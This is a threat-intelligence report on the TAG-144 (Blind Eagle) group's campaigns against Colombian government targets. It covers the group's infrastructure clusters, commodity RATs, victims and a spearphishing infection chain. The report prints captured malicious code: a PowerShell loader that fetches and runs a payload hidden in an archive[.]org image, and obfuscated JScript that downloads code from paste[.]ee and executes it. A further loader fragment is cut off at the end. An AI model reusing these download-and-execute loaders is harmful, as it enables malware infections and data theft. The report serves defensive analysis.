TAG-144's Persistent Grip on South American Organizations

By Insikt Group®

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Executive Summary

Insikt Group has identified five distinct activity clusters linked to TAG-144 (also known as Blind Eagle). These clusters have operated at various times throughout 2024 and 2025, targeting a significant number of victims, primarily within the Colombian government across local, municipal, and federal levels. Although the clusters share similar tactics, techniques, and procedures (TTPs) such as leveraging open-source and cracked remote access trojans (RATs), dynamic domain providers, and legitimate internet services (LIS) for staging, they differ significantly in infrastructure, malware deployment, and other operational methods. Insikt Group also found further evidence linking TAG-144 to Red Akodon and identified various compromised Colombian government email accounts likely used in spearphishing campaigns.

To protect against TAG-144, security defenders should block IP addresses and domains tied to associated RATs, flag and potentially block connections to unusual LIS, and deploy updated detection rules (YARA, Sigma, Snort) for current and historic infections. Other controls include implementing email filtering and data exfiltration monitoring. See the **Mitigations** section for implementation guidance and **Appendix B** for a complete list of IoCs. In the long term, analysts should continuously monitor the cybercriminal ecosystem for emerging threats and adapt controls accordingly.

Key Findings

- Insikt Group has tracked five distinct activity clusters associated with TAG-144 (Blind Eagle), each displaying overlapping yet varied TTPs and collectively targeting numerous victims, primarily within the Colombian government, throughout 2024 and 2025.
- TAG-144 appears to maintain an extensive operational infrastructure, comprising virtual private servers (VPS), IP addresses within Colombian ISP ranges, and servers that appear to function as VPN servers. These typically host domains registered through various dynamic DNS services such as *duckdns[.]org*, *noip[.]com*, and *con-ip[.]com*, among others.
- TAG-144 has employed a wide array of open-source and cracked RATs, including AsyncRAT, DcRAT, REMCOS RAT, XWorm, and LimeRAT, among others. These payloads are typically deployed through a multi-stage infection chain that leverages an expanding set of LIS and uses steganography to obscure malicious content and evade detection.

Background

TAG-144, also known as Blind Eagle, AguilaCiega, APT-C-36, and APT-Q-98, is a threat group that has been active since at least 2018, primarily targeting South America, especially Colombia. While the threat group's overall motivation remains ambiguous, its activity reflects both cyber-espionage and financially driven motivations. TAG-144's primary focus appears to be on credential theft, evidenced by banking-related keylogging and browser monitoring, alongside indications of espionage, such as persistently targeting government entities and using modified RATs with surveillance functions (1, 2).

The group's primary targets include government institutions, especially judiciary and tax authorities, alongside financial entities, petroleum and energy companies, and organizations within the education, healthcare, manufacturing, and professional services sectors (1, 2). Operations are mainly focused on Colombia, with additional activity in Ecuador, Chile, and Panama, and occasional campaigns in North America targeting Spanish-speaking users.

Initial access typically occurs through spearphishing campaigns impersonating local government agencies, most notably Colombian authorities. These campaigns leverage themes such as debt collection and judicial notifications to lure victims into opening malicious documents (1, 2). They have often used URL shorteners like *cort[.]as*, *acortaurl[.]com*, and *gtly[.]to* to conceal malicious links and target users geographically. TAG-144 employs geo-fencing and other detection evasion measures that block access from outside Colombia or Ecuador, redirecting outsiders to official government websites. TAG-144 has consistently leveraged compromised email accounts in its spearphishing campaigns, including those associated with government entities and private individuals.

TAG-144 leverages a range of commodity remote access trojans (RATs), including AsyncRAT, REMCOS RAT, DcRAT, njRAT, LimeRAT, QuasarRAT, BitRAT, and a Quasar variant known as BlotchyQuasar. Its tooling also involves crypters such as HeartCrypt, PureCrypter, and those developed by threat actors like "Roda" and "pjoao1578", with indicators pointing to the use of crypter-as-a-service offerings such as CryptersAndTools, which originates from Brazil. Additionally, it employs steganography techniques, embedding malicious payloads within image files to evade detection.

TAG-144's command-and-control (C2) infrastructure often incorporates IP addresses from Colombian ISPs alongside virtual private servers (VPS) such as Proton666 and VPN services like Powerhouse Management, FrootVPN, and TorGuard (1, 2). This setup is further enhanced by the use of dynamic DNS services, including *duckdns[.]org*, *ip-ddns[.]com*, and *noip[.]com*. The threat group is suspected, though not definitively confirmed, to use compromised routers, which are then repurposed as reverse proxies to obscure the true locations of their C2 servers and complicate attribution.

The threat group has consistently leveraged LIS, particularly during the payload staging phase. These services include widely used platforms like Bitbucket, Discord, Dropbox, GitHub, Google Drive, Paste.ee, and lesser-known platforms such as undisclosed Brazilian image-hosting websites. Additionally, the group has been observed using compromised accounts to host malicious content, including a Google Drive folder tied to a compromised account associated with a regional Colombian government organization.

The threat group's origin remains uncertain, though multiple studies suggest it operates within the UTC-5 or UTC-4 time zones (1, 2), consistent with countries like Colombia and Ecuador, with some research specifically pointing to Colombia as its base. Notably, technical artifacts have contained both Spanish- and Portuguese-language comments. The Spanish observed in the comments closely resembles the regional dialects commonly spoken in the targeted countries. Additionally, the threat group has been observed using tools and services tied to the Brazilian cybercriminal underground, indicating a possible connection with Brazilian threat actors.

Three key factors set TAG-144 apart within the cybercriminal ecosystem. First, while globalization, cybercriminal collaboration, and hardware/software standardization have lowered barriers for threat actors to operate globally, threat actors, including TAG-144, often remain regionally focused due to cultural nuances, tacit knowledge, and persistence. Second, despite some tooling improvements, TAG-144 has largely relied on consistent techniques since its emergence. Their continued success, reflected in a high number of victims, underscores how well-established methods remain effective over time. Lastly, TAG-144 exemplifies the increasingly blurred lines between cybercrime and espionage, a trend that has become more prominent in the coming year. In this context, a comprehensive approach to tackling cyber threats becomes even more crucial, requiring improved defenses, deeper regional knowledge, and enhanced coordination.

Threat Analysis

Insikt Group identified five activity clusters associated with TAG-144 that were active between May 2024 and July 2025 (see **Figure 1**). Activity periods were determined based on domain resolutions, sample submissions, and victim traffic, as observed through Recorded Future® Network Intelligence.



Figure 1: Cluster activity timelines (Source: Recorded Future)

The following clusters have been observed:

- **Cluster 1**, active from February through July 2025, comprises C2 IPs primarily associated with TorGuard VPN and one Colombian ISP hosting *duckdns[.]org* and, starting in July 2025, *noip[.]com* domains with static resolution and minimal rotation. Cluster 1 is linked to DcRAT, AsyncRAT, and REMCOS RAT infections targeting Colombian government entities exclusively.
- **Cluster 2**, active between September and December 2024, included C2 IPs tied to AS-COLOCROSSING, Colombian ISPs, and VULTR hosting *duckdns[.]org*, *con-ip[.]com*, and *kozow[.]com* domains. Cluster 2 is associated with AsyncRAT activity targeting the Colombian government and entities in the education, defense, and retail sectors.
- **Cluster 3**, active from September 2024 to July 2025, consists of C2 IPs linked to Colombian ISP UNE EPM hosting *duckdns[.]org* and, occasionally, *con-ip[.]com* domains. Cluster 3 is associated with both AsyncRAT and REMCOS RAT deployments.

- **Cluster 4**, active from May 2024 to February 2025, is notable for combining malware and phishing infrastructure attributed to TAG-144.
- **Cluster 5**, active from March to July 2025, consists of C2 IPs linked to GLESYS (AS42708) hosting dynamically resolving *duckdns[.]org* domains. Cluster 5 is associated with LimeRAT and a cracked AsyncRAT variant seen in Clusters 1 and 2.

Insikt Group identified infrastructure overlaps between the clusters, establishing a connection among them. Additionally, the clusters share notable similarities in TTPs, including infrastructure choices, domain naming patterns, malware deployment, and the abuse of LIS. However, each cluster also exhibits distinct differences, which are explored in detail in the following sections of this report.

Cluster 1

Infrastructure Analysis

Cluster 1, active from at least February through July 2025, comprises C2 IP addresses primarily linked to TorGuard VPN servers and, in one case, a Colombian ISP. This cluster typically hosts *duckdns[.]org* and, more recently, *noip[.]com* domains with specific naming patterns; it has also been observed deploying DcRAT, AsyncRAT, and REMCOS RAT. The IP addresses linked to Cluster 1 are listed in **Appendix A**. The domains consistently resolve to the same static IP addresses over time, with minimal rotation observed within Cluster 1.

The subdomain names, likely generated by a domain generation algorithm (DGA), commonly include the word “envio” followed by a numeric part, as in, for example, *envio16-05[.]duckdns[.]org*. The names are detectable via the regex in **Figure 2** and are detailed in **Appendix B**.

```
envio[0-9\-]{2,5}\.duckdns\.org
```

Figure 2: Regex for suspected DGA linked to Cluster 1 (Source: Recorded Future)

While prior research has suggested that the TorGuard VPN servers associated with Cluster 1 are used for port forwarding, the exposure of C2 components, such as default transport layer security (TLS) certificates tied to deployed malware families, indicates these IP addresses are likely dedicated VPN instances directly controlled by TAG-144.

In addition to the TorGuard VPN servers, Cluster 1 includes IP addresses associated with Colombian ISPs, such as Colombia’s primary provider, COLOMBIA TELECOMUNICACIONES S.A. E.S.P. While earlier reporting on Blind Eagle in 2020 suggested the possible use of compromised routers for C2 infrastructure, Insikt Group has not confirmed such activity for the observed IP addresses.

Notably, several domains hosted on TorGuard VPN servers listed in **Appendix A** were previously resolved to IP addresses belonging to Colombian ISPs, such as *trabajonuevos[.]duckdns[.]org*. These IP addresses and their associated domains are detailed in **Appendix A**. Similarly, certain domains, such as *diazpool14[.]duckdns[.]org*, were previously hosted on IP addresses linked to GLESYS (AS42708), an ASN identified in association with Cluster 5.

Abuse of Legitimate Internet Services, Including lovestoblog[.]com

As is typical for TAG-144, Cluster 1 has leveraged various LIS during staging, such as Tagbox, Archive, Paste.ee, Discord, and BitBucket, and for the first time in TAG-144 activity, the free hosting platform *lovestoblog[.]com* by InfinityFree. More specifically, the subdomain *sudo102[.]lovestoblog[.]com* hosted several text files that loaded an encoded PowerShell script, which retrieved the next stage of the infection chain from a JPG image hosted on *archive[.]org*. (See **Figure 3** for the infection chain; line breaks were added for readability.)

```
 $craploads = 'SilentlyContinue'
$islamist = 'https://archive[.]org/download/new_image_20250531_1942/new_image.jpg'
$seiche = New-Object System.Net.WebClient
$seiche.Headers.Add('User-Agent', 'Mozilla/5.0')
[byte[]]$homophobes = $seiche.DownloadData($islamist)
$rythmic = [System.Text.Encoding]::UTF8.GetString($homophobes)

$protamphirhine = 'INICIO>>'
$unrubberized = '<<FIM>>'
$petrograph = $ither

$formylation = $rythmic.IndexOf($protamphirhine)
$inconveniency = $rythmic.IndexOf($unrubberized)

if ($formylation -ne -1 -and $inconveniency -ne -1 -and $inconveniency -gt $formylation) {
    $formylation += $protamphirhine.Length
    $petrograph = $rythmic.Substring($formylation, $inconveniency - $formylation)
}

$higgsinos = '#x#.e13ba2379fd20168b9c460418b963234_oviuqra/moc.golbo#sevol.201odus//:p##h'
$higgsinos = $higgsinos.Replace('#', 't')
$petrograph = $petrograph.Replace('@', 'A')

$MacArthur = [System.Convert]::FromBase64String($petrograph)
$aginator = [Reflection.Assembly]::Load($MacArthur)

$towelette = [dnlib.IO.Home].GetMethod('VAI').Invoke(
    $ither,
    [object[]]@(
        $higgsinos,
        '', '', '',
        'MSBuild', '', '', '', '',
        'C:\Users\Public\Downloads',
        'Mattagami',
        'js', '', '',
        'duparted',
        '2', ''
    )
)
```

Figure 3: Payload hosted on archive[.]org URL (Source: Recorded Future)

At least one text file hosted on *sudo102[.]lovestoblog[.]com* included comments in Portuguese (for example, “Junta os comandos,” which translates to “Add the commands”), a characteristic previously observed in connection with Blind Eagle (1, 2). This was suspected to indicate possible collaboration between the threat actor and external threat groups; however, it could also be explained by the presence of Portuguese-speaking members, code reuse, or intentional false flag operations.

Malware

Insikt Group observed Cluster 1 using both the “1.0.7” version of AsyncRAT and a variant labeled “CRACKED BY hxxps://t[.]me/xworm_v2”, which has the mutex `AsyncMutex_6SI8OkPnk`. xworm_v2 is an active Telegram channel with over 300 members, known for sharing and distributing cracked versions of paid software.



Figure 4: Telegram channel hxxps://t[.]me/xworm_v2 (Source: Recorded Future)

The cracked version observed in connection with TAG-144 was linked to a threat actor tracked as Red Akodon in May 2024; it appeared again in June 2025 in a report potentially referencing the same threat actor based on observed TTPs, though without formal attribution.

Victimology

Using Recorded Future Network Intelligence, Insikt Group identified a significant number of victims exclusively linked to the Colombian government associated with Cluster 1 (see **Appendix C**). Network communications, as observed by Recorded Future Network Intelligence, began in March 2025 and ended in June 2025. Notably, the cessation of activity may indicate that the threat actors were either evicted, completed their objectives and withdrew voluntarily, or transitioned to other tooling and egress points.

As shown in **Appendix C**, multiple victims were observed communicating with several C2 servers associated with Cluster 1. This activity likely resulted from changes in DNS resolution for the C2 domains over time. In some instances, Insikt Group assesses that multiple infections occurred within the same victim network, with all compromised systems communicating with the C2 infrastructure through a shared egress point. In some cases, Insikt Group was unable to conclusively identify the exact victim due to multiple entities sharing the same name.

Infrastructure Management

Although the exact infrastructure management methods used by TAG-144 for Cluster 1 remain unclear at this time, Insikt Group identified indications that the threat group may have leveraged a compromised Mikrotik router as a proxy to communicate with the C2 servers over a port.

Cluster 2

Infrastructure Analysis

Cluster 2, active from at least September to December 2024, comprises C2 IP addresses primarily linked to AS-COLOCROSSING, Colombian ISP IP addresses, and, in at least one case, VULTR. It typically hosts *duckdns[.]org* or *con-ip[.]com* domains with specific naming patterns and has been observed deploying AsyncRAT. In a few cases, Insikt Group also observed domains linked to the free dynamic DNS provider *kozow[.]com*. The IP addresses linked to Cluster 2 are listed in **Appendix D**.

The subdomain names, likely generated by a DGA algorithm, often consist of Spanish words, as in *pesosdepesoslibras[.]duckdns[.]org*. Sometimes, they are followed by numbers, as in *paseoencarro2024[.]con-ip[.]com*. (For a detailed list of these subdomain names, see **Appendix A**.) Notably, many of the domains currently hosted on AS-COLOCROSSING IP addresses (see **Appendix D**) were previously associated with IPs from Colombian ISPs, such as *179[.]14[.]8[.]26*, *181[.]131[.]217[.]255*, *177[.]255[.]84[.]82*, and *191[.]88[.]248[.]162*, indicating they may have been reused across different hosting infrastructures.

In addition to the Spanish-themed domains, Insikt Group identified a large set of DuckDNS and CON-IP domains, likely generated by another DGA algorithm and all starting with the keyword "deadpoolstart," followed by a four-digit number (see **Appendix E**). Notably, the *con-ip[.]com* domains resolve to the AS-COLOCROSSING IP address *64[.]188[.]9[.]172*, while the *duckdns[.]org* domains all resolve to IP addresses belonging to Colombian ISPs.

Abuse of Legitimate Internet Services

Similar to Cluster 1, Cluster 2 has also been observed leveraging various LIS during staging, including GitHub, Archive, Paste.ee, and more recently, the free hosting platform *lovestoblog[.]com* by InfinityFree, which ultimately led to an XWorm infection using the C2 domain *deadpoolstart2064[.]duckdns[.]org*.

Insikt Group also identified a payload named `RELACIÓN DE SALDOS - CUENTA DE COBRO.pdf.exe` associated with Cluster 2, which staged its content via two GitHub Gist URLs linked to the account SmikeY666:

- *hxxps://gist[.]githubusercontent[.]com/SmikeY666/50447c53097f8884ffc754a8779fa2a3/raw*
- *hxxps://gist[.]githubusercontent[.]com/SmikeY666/8504274482e8e688d9489b302bfbc45e/raw*

The payload results in an AsyncRAT infection, with the malware reaching out to its C2 server, *cococovid202420242024[.]duckdns[.]org*, which resolved to IP address *64[.]188[.]9[.]175* as of December 26, 2024.

Notably, the GitHub account "SmikeY666" included a link to a 2024 Vimeo video demonstrating an allegedly cracked version of SilverRAT, a Windows-based RAT that first appeared in 2023. It has been distributed across various forums and appears to be developed by an individual or group using the alias Anonymous Arabic.

Malware

Insikt Group observed Cluster 2 using the AsyncRAT variant labeled "CRACKED BY hxxps://t[.]me/xworm_v2" with the mutex `AsyncMutex_6SI8OkPnk`. Additionally, the cluster deployed AsyncRAT samples featuring custom mutexes such as `tempcookieess`, `tempcokies`, `tempcookiee`, `WinCookies`, `Cookies`, and `CookiesGoogleChrome`, among others. These samples can be tracked via Recorded Future Malware Intelligence. At least some of the samples are encrypted using a crypter attributed to Roda, a tool associated with Blind Eagle activity.

Victimology

Using Recorded Future Network Intelligence, Insikt Group identified nine victims associated with Cluster 2, primarily linked to Colombian government entities, along with victims from the education, defense, and retail sectors, among others (see **Appendix F**). Network communications observed by Recorded Future began in early October 2024 and ended in December 2024.

As with Cluster 1, multiple infections were observed within some of the victim organizations linked to Cluster 2, suggesting broader targeting or possible lateral movement. There is also evidence of victim overlap between Clusters 1 and 2. Furthermore, based on high volumes of network traffic from Colombian ISP IP addresses to C2 ports during the relevant timeframes, the actual number of victims is likely higher than what has been confirmed.

Cluster 3

Cluster 3, active from at least September 2024 to July 2025, comprises C2 IP addresses primarily linked to the Colombian ISP UNE EPM, typically hosting DuckDNS or, in rare cases, *con-ip[.]com*, domains. Insikt Group has observed AsyncRAT as well as REMCOS RAT infections linked to Cluster 3. The IP addresses linked to Cluster 3 are listed in **Appendix G**.

The subdomain names, likely generated using a domain DGA, often incorporate Spanish names, as in *sebastiancorrea905040[.]duckdns[.]org*, sometimes appended with numerical sequences. (For a detailed list of these subdomain names, see **Appendix B**.) Notably, one of the domains associated with Cluster 3, *sebastianguerrero5040[.]con-ip[.]com*, was observed resolving to the Cluster 2 IP address *64[.]188[.]9[.]177* between at least September 11 and November 11, 2024.

Similar to Clusters 1 and 2, Cluster 3 has also been observed abusing multiple LIS, including Tagbox, Archive, and Paste.ee, among others.

Cluster 4

Cluster 4, active from at least May 2024 to February 2025, differs from the others in that it is not only associated with malware infrastructure but also with phishing activity attributed to TAG-144. The IP addresses linked to Cluster 4 are listed

in **Appendix H**. The full list of domains linked to the IP addresses in **Appendix H** is listed in **Appendix A**.

The phishing pages linked to Cluster 4 have been observed impersonating multiple banks, including Banco Davivienda, Bancolombia, and BBVA (see **Figure 5**). Notably, these lures differ from earlier ones attributed to TAG-144, which primarily impersonated government entities such as tax authorities or judicial bodies. Previous campaigns also appeared to target government-affiliated individuals or organizations, as evidenced by the victims associated with Clusters 1 and 2.



Figure 5: Phishing pages linked to Cluster 4 (Source: URLScan, URLScan, URLScan)

Notably, a phishing page impersonating BBVA and hosted on the domain *keepz[.]duckdns[.]org* contained the IP address *181[.]131[.]217[.]139* in its document object model (DOM), as seen in **Figure 6**. This IP was hosting the domains *env2023nue[.]duckdns[.]org* and *chichichi01[.]duckdns[.]org* in 2023. The domain *env2023nue[.]duckdns[.]org* was publicly linked to APT-C-36 (Blind Eagle) and likely remained in use by the same threat actor, as it continued to host an open directory containing folders related to Banco Davivienda, Banco Colombia, Banco Caja Social, and others until at least March 14, 2024, while being hosted on IP address *179[.]14[.]9[.]152*. The domain *chichichi01[.]duckdns[.]org* served as a C2 domain for AsyncRAT based on public reporting and was also hosted on IP address *179[.]14[.]9[.]152* between March 22 and May 8, 2024.

```
...
    <footer class="d-flex justify-content-center">
        <p>
            Dirección IP: 181[.]131[.]217[.]139
        </p>
        <p>
            Copyright©2023 Bancolombia S.A.
        </p>
    </footer>
...
```

Figure 6: IP address left in the DOM of a phishing page (Source: URLScan)

Cluster 5

Cluster 5, which has been active since at least March to July 2025, comprises C2 IP addresses primarily linked to GLESYS (AS42708), typically hosting *duckdns[.]org* domains. The domains linked to Cluster 5 are listed in **Appendix I**. Cluster 5 is the only cluster associated with the deployment of LimeRAT, which in this case uses the mutex `1e97ead369`. The AsyncRAT variant linked to Cluster 5 is the same cracked version identified in Clusters 1 and 2. Of note, the domains frequently resolve to changing IP addresses, with those observed by Insikt Group detailed in **Appendix B**.

Similar to the other clusters, Cluster 5 has also been observed leveraging various LIS during staging, including Archive, Paste.ee, and Tagbox.

Infection Chain

Phishing Email

Insikt Group identified an email sent to undisclosed recipients from a likely compromised domain, *alcaldia[@]simacota-santander[.]gov[.]co*, associated with the Mayor's Office of Simacota in the Santander department of Colombia. Infections stemming from this email have been confirmed to result in AsyncRAT deployment, communicating with the C2 domain *envio01[.]ddns[.]net*, a domain previously linked to Cluster 1.

```
 De: Alcaldía Simacota Santander <REDACTED>
Enviado el: martes, 1 de julio de 2025 3:23 p. m.
Para: undisclosed-recipients:
Asunto: Cobro por intereses moratorios – Radicado 11001-28-05-03004

¡Cuidado! este correo proviene de un usuario externo, no abras archivos adjuntos ni hagas clic en enlaces sin validar que el remitente y el contenido

Se inicia ejecución por intereses causados por pago extemporáneo.
Consulte el archivo para liquidación detallada.

Cordialmente,
```

Figure 7: Text in phishing email linked to TAG-144 (left) and the English translation (right) (Source: Recorded Future)

SVG Attachment

The email included an attachment named `Notificacion_electronica_sentencia_preliminar_Departamento_Juridico_sxyebfiv.svg`, which has a SHA256 hash of 04878a5889e3368c2cf093d42006ba18a87c5054f1464900094e6864f4919899. A translated version of the attachment is presented in **Figure 8**, while the original Spanish version is available in **Appendix J**. The SVG content claims that a judicial process has been initiated against the recipient, outlines potential penalties, and contains a link purportedly leading to evidence and further legal details.

Figure 8: Translated SVG file sent via spearphishing email (Source: Recorded Future)

Staging Process Using LIS

The link embedded within the SVG file is:

hxxps://cdn[.]discordapp[.]com/attachments/1389692690454548634/1389692792590307338/Notificacion_electronica_sentencia_preliminar_Departame Justicia_01.js?

ex=68658bc4&is=68643a44&hm=057a0e76212bdd4c2da95e51ac7542f60ecbd440482ee186d474e1d783afd288&?id=75e6ea37-63e5-491a-a5e2-ad4c92667144

A similar SVG sample was identified through a Malware Intelligence search for HTTP requests to *cdn[.]discordapp[.]com* that included "Notificacion" in the query string (see **Figure 9**).



Figure 9: Additional sample found in Recorded Future Malware Intelligence (Source: Recorded Future)

Although the *cdn[.]discordapp[.]com* link was inactive at the time of analysis, Insikt Group successfully extracted the downloaded JavaScript file from a PCAP capture. The file, named `Notificacion_electronica_sentencia_preliminar_Departamento_De-Justicia_01.js`, has the SHA256 hash 1226a8d066328a8b6f353c9d98f1dc8128bd84f3909ae1cc6811dc1adff33c81. The script contains a mix of malicious code and benign content related to the Microsoft Print Schema. The benign portion is displayed in **Figure 10**. The inclusion of benign content is likely an attempt to evade detection.

```
// PSK NameSpace's
var pskNs = "http://schemas.microsoft.com/poulets/2003/08/printing/printschemakeywords";
var psk11Ns = "http://schemas.microsoft.com/poulets/2013/05/printing/printschemakeywordsv11";
var psk12Ns = "http://schemas.microsoft.com/poulets/2013/12/printing/printschemakeywordsv12";

// psf NameSpace's
var psf2Ns = "http://schemas.microsoft.com/poulets/2013/12/printing/printschemaframework2";
var psfNs = "http://schemas.microsoft.com/poulets/2003/08/printing/printschemaframework";

// XML Schema NameSpace's
var xsiNs = "http://www.w3.org/2001/XMLSchema-instance";
var xsdNs = "http://www.w3.org/2001/XMLSchema";

// PDF driver NameSpace
var pdfNs = "http://schemas.microsoft.com/poulets/2015/02/printing/printschemakeywords/microsoftprinttopdf";


function completePrintCapabilities(printTicket, scriptContext, printCapabilities) {
    /// <param name="printTicket" type="IPrintSchemaTicket" mayBeNull="true">
    ///     If not 'null', the print ticket's settings are used to customize the print capabilities.
    /// </param>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script clarigation object.
    /// </param>
    /// <param name="printCapabilities" type="IPrintSchemaCapabilities">
    ///     Print capabilities object to be customized.
    /// </param>

    // Get PrintCapabilites XML node
    var xmlCapabilities = printCapabilities.XmlNode;

    var unpostedCapabilities;
    // Set Standard namespaces with prefixes
    SetStandardNameSpaces(xmlCapabilities);

    unpostedCapabilities = xmlCapabilities.selectSingleNode("psf:PrintCapabilities");
```

Figure 10: Benign code portion contained in the JavaScript script (Source: Recorded Future)

Obfuscation

Figure 11 shows the obfuscated malicious portion of the script. Notably, the code contains comments written in Portuguese, an aspect previously discussed in this report and also associated with activity linked to TAG-144.

```
var voicelessness = "3.ϕ 저ᄋ주ᄆᄒᆞᆫ M3.ϕ 저ᄋ주ᄆᄒᆞᆫ S3.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
 voicelessness += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ X3.ϕ 저ᄋ주ᄆᄒᆞᆫ M3.ϕ 저ᄋ주ᄆᄒᆞᆫ L3.ϕ 저ᄋ주ᄆᄒᆞᆫ 23.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
 voicelessness += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ .3.ϕ 저ᄋ주ᄆᄒᆞᆫ S3.ϕ 저ᄋ주ᄆᄒᆞᆫ er3.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
 voicelessness += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ ve3.ϕ 저ᄋ주ᄆᄒᆞᆫ rXM3.ϕ 저ᄋ주ᄆᄒᆞᆫ L";
 voicelessness += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ H3.ϕ 저ᄋ주ᄆᄒᆞᆫ T3.ϕ 저ᄋ주ᄆᄒᆞᆫ TP.";
 voicelessness += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ 6.3.ϕ 저ᄋ주ᄆᄒᆞᆫ 03.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
 voicelessness = voicelessness.replace(/3.ϕ 저ᄋ주ᄆᄒᆞᆫ /g, "");
 var classe = voicelessness;

var unwellness = "3.ϕ 저ᄋ주ᄆᄒᆞᆫ h3.ϕ 저ᄋ주ᄆᄒᆞᆫ t3.ϕ 저ᄋ주ᄆᄒᆞᆫ t3.ϕ 저ᄋ주ᄆᄒᆞᆫ p3.ϕ ";
unwellness += "저ᄋ주ᄆᄒᆞᆫ :3.ϕ 저ᄋ주ᄆᄒᆞᆫ /3.ϕ 저ᄋ주ᄆᄒᆞᆫ /3.ϕ 저ᄋ주ᄆᄒᆞᆫ p3.ϕ 저";
unwellness += "ᄋ주ᄆᄒᆞᆫ a3.ϕ 저ᄋ주ᄆᄒᆞᆫ s3.ϕ 저ᄋ주ᄆᄒᆞᆫ t3.ϕ 저ᄋ주ᄆᄒᆞᆫ e3.ϕ 저ᄋ주";
unwellness += "ᄆᄒᆞᆫ .3.ϕ 저ᄋ주ᄆᄒᆞᆫ e3.ϕ 저ᄋ주ᄆᄒᆞᆫ e3.ϕ 저ᄋ주ᄆᄒᆞᆫ /3.ϕ 저ᄋ주ᄆᄒ";
unwellness += "ᄒᆞᆫ d3.ϕ 저ᄋ주ᄆᄒᆞᆫ /3.ϕ 저ᄋ주ᄆᄒᆞᆫ T3.ϕ 저ᄋ주ᄆᄒᆞᆫ r3.ϕ 저ᄋ주ᄆᄒᆞᆫ";
unwellness += "ᄒᆞᆫ x3.ϕ 저ᄋ주ᄆᄒᆞᆫ w3.ϕ 저ᄋ주ᄆᄒᆞᆫ t3.ϕ 저ᄋ주ᄆᄒᆞᆫ H3.ϕ 저ᄋ주ᄆᄒᆞᆫ";
unwellness += "ᄒᆞᆫ c3.ϕ 저ᄋ주ᄆᄒᆞᆫ C3.ϕ 저ᄋ주ᄆᄒᆞᆫ /3.ϕ 저ᄋ주ᄆᄒᆞᆫ 03.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
unwellness = unwellness.replace(/3.ϕ 저ᄋ주ᄆᄒᆞᆫ /g, "");

var isostasy = "3.ϕ 저ᄋ주ᄆᄒᆞᆫ G3.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
isostasy += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ E3.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
isostasy += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ T3.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
isostasy = isostasy.replace(/3.ϕ 저ᄋ주ᄆᄒᆞᆫ /g, "");

var skull = new ActiveXObject(classe);
skull.open(isostasy, unwellness, false);
skull.setRequestHeader("User-Agent", "MyCustomAgent/1.0");
skull.send();

if (skull.status == 200) {
    new Function(skull.responseText)();
} else if (skull.status == 404) {
    WScript.Echo("Erro 404: arquivo não encontrado.");
} else if (skull.status == 403) {
    WScript.Echo("Erro 403: acesso proibido.");
} else if (skull.status == 500) {
    WScript.Echo("Erro 500: erro interno no succored.");
} else {
    WScript.Echo("Erro HTTP " + skull.status + ": requisição falhou.");
}
```

Figure 11: Obfuscated malicious code portion contained in the JavaScript script (Source: Recorded Future)

The variables `voicelessness` and `classe`, `unwellness`, and `isostasy` are obfuscated using junk characters and later deobfuscated via string replacement operations. These variables resolve to the following:

- `voicelessness` and `classe`: MSXML2.ServerXMLHTTP.6.0
- `unwellness`: *hxxp://paste[.]ee/d/TrxwtHcC/0* (as observed via URLScan)
- `isostasy`: GET

The script creates a ServerXMLHTTP object and issues a GET request to the specified *paste[.]ee* URL using the custom User-Agent `MyCustomAgent/1.0`. If the HTTP response returns a status code 200, the response body is executed as JavaScript.

The SHA256 hash of the response body is 591744244c7ca9cea69cde263187efde3f65a157f8e5eb885ccc1f9e078b5572. This payload contains similar string obfuscation techniques and ultimately reconstructs strings to instantiate a shell object and execute a deobfuscated command line.

```
32      miladi += "r3.ϕ 저ᄋ주ᄆᄒᆞᆫ i3.ϕ 저ᄋ주ᄆᄒᆞᆫ n3.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
33      miladi += "g3.ϕ 저ᄋ주ᄆᄒᆞᆫ (3.ϕ 저ᄋ주ᄆᄒᆞᆫ $3.ϕ 저ᄋ주ᄆᄒᆞᆫ talesmen3.ϕ 저ᄋ주ᄆᄒᆞᆫ )
34      miladi += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ I3.ϕ 저ᄋ주ᄆᄒᆞᆫ n3.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
35      miladi += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ v3.ϕ 저ᄋ주ᄆᄒᆞᆫ o3.ϕ 저ᄋ주ᄆᄒᆞᆫ k3.ϕ 저ᄋ주ᄆᄒᆞᆫ e3.ϕ 저ᄋ
36      miladi += "r3.ϕ 저ᄋ주ᄆᄒᆞᆫ e3.ϕ 저ᄋ주ᄆᄒᆞᆫ s3.ϕ 저ᄋ주ᄆᄒᆞᆫ s3.ϕ 저ᄋ주ᄆᄒᆞᆫ i3.ϕ 저ᄋ
37
38      miladi = miladi.replace(/3.ϕ 저ᄋ주ᄆᄒᆞᆫ /g, "");
39
40      // Monta o comando PowerShell em variável "parabematic"
41      var parabematic = "3.ϕ 저ᄋ주ᄆᄒᆞᆫ p3.ϕ 저ᄋ주ᄆᄒᆞᆫ o3.ϕ 저ᄋ주ᄆᄒᆞᆫ w3.ϕ 저ᄋ주ᄆᄒᆞᆫ "
42      parabematic += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ e3.ϕ 저ᄋ주ᄆᄒᆞᆫ r3.ϕ 저ᄋ주ᄆᄒᆞᆫ s3.ϕ 저ᄋ주ᄆᄒᆞᆫ h3.ϕ
43      parabematic += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ l3.ϕ 저ᄋ주ᄆᄒᆞᆫ l 3.ϕ 저ᄋ주ᄆᄒᆞᆫ -3.ϕ 저ᄋ주ᄆᄒᆞᆫ w3.ϕ
